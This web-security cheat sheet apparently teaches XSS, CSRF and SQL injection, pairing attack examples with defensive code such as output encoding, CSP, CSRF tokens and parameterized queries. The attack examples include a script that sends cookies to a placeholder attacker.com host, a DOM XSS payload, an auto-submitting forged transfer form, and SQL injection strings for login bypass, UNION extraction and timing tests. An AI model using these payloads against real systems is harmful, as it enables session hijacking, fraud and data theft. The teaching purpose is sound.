AiTechWorlds
AiTechWorlds
Attack examples and prevention code for XSS (stored/reflected/DOM), CSRF tokens, and SQL parameterized queries.
XSS occurs when an attacker injects malicious scripts into web pages viewed by other users. The browser executes the script in the victim's session context.
| Type | Persistence | How It Works |
|---|---|---|
| Stored (Persistent) | Stored in database | Attacker saves script, every visitor runs it |
| Reflected | Not stored | Malicious URL triggers script in response |
| DOM-based | Client-side | JavaScript modifies DOM unsafely |
// Attacker submits comment containing:
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
// When other users view the page, their cookies are stolen
// β Account hijack// Vulnerable code
document.getElementById('name').innerHTML = location.hash.slice(1);
// URL: https://site.com/#<img src=x onerror=alert(1)>
// β Script executes in browser
// Safe version
document.getElementById('name').textContent = location.hash.slice(1);
// textContent encodes HTML entities β no script execution// 1. Output encoding β always encode before inserting into HTML
element.textContent = userInput; // Safe: text content
element.setAttribute('value', input); // Safe: attribute
// NEVER: element.innerHTML = userInput
// 2. Content Security Policy (CSP)
// Blocks inline scripts and restricts sources
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com
// 3. HTTPOnly cookies β prevents script from reading cookies
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
// 4. Input validation + sanitization (defense in depth)
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userHtmlInput); // safe HTMLCSRF tricks a logged-in user's browser into sending unauthorized requests to a site where they're authenticated. The site trusts requests from authenticated sessions, not the user's intent.
1. Victim logs into bank.com β receives session cookie
2. Victim visits attacker.com (while still logged in)
3. attacker.com contains hidden form or img tag:
<form action="https://bank.com/transfer" method="POST">
<input name="to" value="attacker_account">
<input name="amount" value="10000">
</form>
<script>document.forms[0].submit()</script>
4. Browser auto-sends POST with victim's bank cookie
5. Bank processes transfer β trusts the cookie# 1. CSRF Token β unique per session, included in all forms
# Flask example with Flask-WTF
from flask_wtf import FlaskForm
from wtforms import StringField
class TransferForm(FlaskForm):
amount = StringField('Amount')
# Template: {{ form.hidden_tag() }} generates CSRF token
# Flask-WTF validates it on POST automatically// 2. SameSite Cookie attribute β primary defense in modern browsers
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
// Strict: cookie not sent on cross-site requests at all
// Lax: sent on top-level navigation, not on POST from other sites
// 3. Checking Origin/Referer headers
if (req.headers.origin !== 'https://mysite.com') {
return res.status(403).json({ error: 'CSRF detected' });
}
// 4. Double Submit Cookie pattern
// Server sets random token as cookie AND expects it in request body/header
// Attacker can't read the cookie (same-origin policy), can't forge the headerSQLi occurs when user input is incorporated into SQL queries without proper sanitization, allowing attackers to manipulate the query.
| Type | How It Works |
|---|---|
| Classic (In-band) | Results returned directly in response |
| Error-based | Error messages reveal database information |
| UNION-based | UNION adds attacker's query to legitimate query |
| Blind (Boolean) | True/false responses reveal information slowly |
| Time-based Blind | Database delays reveal information (IF condition β SLEEP) |
| Out-of-band | Data exfiltrated via DNS or HTTP requests |
-- Login bypass
-- Input: email: ' OR '1'='1' -- password: anything
SELECT * FROM users WHERE email = '' OR '1'='1' --' AND password='...'
-- '1'='1' is always true β returns all users β logs in as first user
-- UNION injection
-- Input: 1' UNION SELECT username, password FROM users --
SELECT name, price FROM products WHERE id = '1' UNION SELECT username, password FROM users --'
-- Extracts usernames and password hashes
-- Time-based blind injection
-- Input: 1' AND SLEEP(5) --
-- If page loads slowly: confirms SQLi and database is MySQL# 1. Parameterized queries β ALWAYS
import sqlite3
# VULNERABLE
cursor.execute(f"SELECT * FROM users WHERE email = '{email}'")
# SAFE β parameterized
cursor.execute("SELECT * FROM users WHERE email = ?", (email,))
# Python with psycopg2 (PostgreSQL)
cursor.execute("SELECT * FROM users WHERE email = %s", (email,))
# 2. ORM (parameterizes automatically)
from sqlalchemy.orm import Session
user = session.query(User).filter(User.email == email).first()
# 3. Stored procedures (with parameterized input)
cursor.callproc('GetUser', (email,))
# 4. Input validation (defense in depth)
import re
if not re.match(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$', email):
raise ValueError("Invalid email format")| Aspect | XSS | CSRF | SQLi |
|---|---|---|---|
| Target | Other users' browsers | Authenticated user's session | Database |
| Attacker controls | Client-side JavaScript | HTTP requests | Database queries |
| Impact | Session hijack, defacement, phishing | Unauthorized actions | Data theft, bypass auth |
| Primary defense | Output encoding, CSP | CSRF tokens, SameSite | Parameterized queries |
| Location of fix | Output layer | Request validation | Database query layer |
| Vulnerability | Tool |
|---|---|
| XSS | XSSHunter, OWASP ZAP, Burp Suite Scanner |
| CSRF | Burp Suite, CSRF Tester |
| SQL Injection | sqlmap (automated), manual testing, OWASP ZAP |
Advertisement
Get more notes like this daily on Telegram!
Free study notes, cheat sheets & AI tips
Last reviewed on June 13, 2026 by the AiTechWorlds Notes Team. Free cheat sheet β no signup required.
Advertisement
Join AiTechWorlds on Telegram and get daily AI tips, prompt engineering templates, coding resources, and exclusive content β 100% free!
No spam. Leave anytime.